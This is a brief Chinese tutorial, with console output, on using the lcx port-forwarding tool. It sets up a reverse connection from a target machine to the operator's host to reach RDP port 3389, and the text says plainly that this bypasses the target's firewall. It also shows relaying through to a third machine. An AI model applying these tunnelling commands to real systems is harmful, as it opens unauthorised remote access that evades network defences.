本机IP:192.168.125.11      目标机IP:192.168.125.101

 

本机运行: lcx -listen 3333  2222

目标机运行:lcx -slave 192.168.125.11 3333   192.168.125.101 3389

           或者lcx -slave 192.168.125.11 3333   127.0.0.1.3389

 

在本机上远程桌面连接127.0.0.1(本机自己)的2222端口,就可连接到目标机的3389端口。

从第三台机器上连接本机(192.168.125.11)的2222端口,也可以连接到目标机的3389端口。

 

查看本机和目标机器,可以看到,目标机器主动连接本机的3333端口,这样就绕开了目标机上的防火墙。

即使目标机器上的防火墙阻隔了3389端口,由于是目标机主动连接本机,穿透防火墙。

 

lcx连接信息如下:

 

目标机上信息:

C:\>lcx -slave 192.168.125.11 3333 192.168.125.101 3389

======================== HUC Packet Transmit Tool V1.00 =======================

=========== Code by lion & bmbll, Welcome to [url]http://www.cnhonker.com[/url]==========

 

[+] Make a Connection to 192.168.125.11:3333....

 

 

本机上的信息:

C:\>lcx -listen 3333 2222

======================== HUC Packet Transmit Tool V1.00 =======================

=========== Code by lion & bmbll, Welcome to [url]http://www.cnhonker.com[/url] ==========

 

[+] Listening port 3333 ......

[+] Listen OK!

[+] Listening port 2222 ......

[+] Listen OK!

[+] Waiting for Client on port:3333 ......

[+] Accept a Client on port 3333 from 192.168.125.101 ......

[+] Waiting another Client on port:2222....

 

*******************************************************************************************

-tran参数的用法

目标机上运行:lcx -tran 3333  127.0.0.1 3389

在主机上运行远程桌面,连接目标机的3333端口,可以连接到主机的3389端口。

 

目标机上运行:lcx -tran 3333  192.168.125.102 3389   其中192.168.125.102是第三台机。

在主机上运行远程桌面,连接目标机的3333端口,可以连接到第三台机的3389端口。

这里 go语言写的一点也不好用 别用呀